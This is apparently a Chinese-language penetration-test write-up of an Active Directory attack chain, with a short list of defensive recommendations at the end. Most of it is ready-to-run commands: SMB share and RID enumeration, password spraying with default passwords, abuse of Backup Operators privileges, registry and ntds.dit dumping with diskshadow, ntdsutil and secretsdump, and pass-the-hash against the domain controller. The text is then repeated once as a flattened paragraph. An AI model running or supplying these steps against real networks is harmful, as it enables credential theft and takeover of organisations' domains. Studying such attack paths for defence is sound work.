记一次在域内多个用户横跳到获取域控及域内hash获取的多种方式
字数 707 2025-08-29 22:41:10

域内横向移动与域控权限获取技术详解

信息收集阶段

端口扫描与协议识别

  1. 使用nmap进行初始端口探测:
    nmap -sS -Pn <目标IP>
    
  2. 对发现的开放端口进行详细协议识别:
    nmap -sV -p <端口列表> <目标IP>
    

SMB服务枚举

  1. 使用NetExec进行SMB共享枚举:
    netexec smb <目标IP> -u '' -p '' --shares
    
  2. 发现Guest账户可访问的HR共享目录:
    smbclient \\\\<目标IP>\\HR -U guest
    

用户枚举与凭证获取

用户ID爆破

  1. 使用NetExec暴力破解用户ID:
    netexec smb <目标IP> -u '' -p '' --rid-brute 4000
    
  2. 创建用户列表:
    grep 'SidTypeUser' output.txt | awk '{print $2}' > users.txt
    

默认密码尝试

  1. 对枚举出的用户尝试默认密码:
    netexec smb <目标IP> -u users.txt -p 'Password123','Welcome1','P@ssw0rd'
    

权限提升路径

备份操作员组利用

  1. 发现用户emily.oscars属于备份操作员组
  2. 利用SeBackupPrivilege进行权限提升:
    netexec smb <目标IP> -u emily.oscars -p 'password' --sebackup
    

注册表转储与哈希提取

  1. 使用secretsdump.py导出哈希:
    secretsdump.py domain/emily.oscars:'password'@<目标IP>
    
  2. 使用NetExec转储注册表配置单元:
    netexec smb <目标IP> -u emily.oscars -p 'password' --registry
    
  3. 使用reg.py复制注册表:
    reg.py domain/emily.oscars:'password'@<目标IP> save -keyName HKLM\\SYSTEM -o system.save
    

域内哈希获取的三种方法

方法1:使用diskshadow复制ntds.dit

  1. 创建diskshadow脚本文件:
    set context persistent nowriters
    add volume c: alias someAlias
    create
    expose %someAlias% z:
    
  2. 执行diskshadow:
    diskshadow /s script.txt
    
  3. 复制ntds.dit文件:
    copy z:\Windows\NTDS\ntds.dit .
    

方法2:使用secretsdump.py直接提取哈希

secretsdump.py -ntds ntds.dit -system system.save LOCAL

方法3:使用NetExec和ntdsutil

  1. 使用NetExec执行ntdsutil:
    netexec smb <目标IP> -u emily.oscars -p 'password' --ntdsutil
    
  2. 生成的哈希文件会自动保存在本地

最终权限获取

  1. 使用获取的域管理员哈希进行DCSync攻击:
    secretsdump.py domain/administrator@<目标IP> -hashes aad3b435b51404eeaad3b435b51404ee:<NTLM哈希>
    
  2. 使用获取的凭证进行域控完全控制

防御建议

  1. 限制Guest账户权限
  2. 监控异常的用户ID枚举行为
  3. 限制备份操作员组的权限
  4. 监控ntds.dit文件的访问
  5. 实施特权账户管理策略
  6. 启用SMB签名
  7. 监控异常的身份验证尝试

通过以上步骤,攻击者可以从初始的信息收集逐步提升权限,最终获取域控权限和域内所有用户的哈希值。防御方应重点关注这些攻击路径上的关键节点,实施相应的防御措施。

域内横向移动与域控权限获取技术详解 信息收集阶段 端口扫描与协议识别 使用nmap进行初始端口探测: 对发现的开放端口进行详细协议识别: SMB服务枚举 使用NetExec进行SMB共享枚举: 发现Guest账户可访问的HR共享目录: 用户枚举与凭证获取 用户ID爆破 使用NetExec暴力破解用户ID: 创建用户列表: 默认密码尝试 对枚举出的用户尝试默认密码: 权限提升路径 备份操作员组利用 发现用户emily.oscars属于备份操作员组 利用SeBackupPrivilege进行权限提升: 注册表转储与哈希提取 使用secretsdump.py导出哈希: 使用NetExec转储注册表配置单元: 使用reg.py复制注册表: 域内哈希获取的三种方法 方法1:使用diskshadow复制ntds.dit 创建diskshadow脚本文件: 执行diskshadow: 复制ntds.dit文件: 方法2:使用secretsdump.py直接提取哈希 方法3:使用NetExec和ntdsutil 使用NetExec执行ntdsutil: 生成的哈希文件会自动保存在本地 最终权限获取 使用获取的域管理员哈希进行DCSync攻击: 使用获取的凭证进行域控完全控制 防御建议 限制Guest账户权限 监控异常的用户ID枚举行为 限制备份操作员组的权限 监控ntds.dit文件的访问 实施特权账户管理策略 启用SMB签名 监控异常的身份验证尝试 通过以上步骤,攻击者可以从初始的信息收集逐步提升权限,最终获取域控权限和域内所有用户的哈希值。防御方应重点关注这些攻击路径上的关键节点,实施相应的防御措施。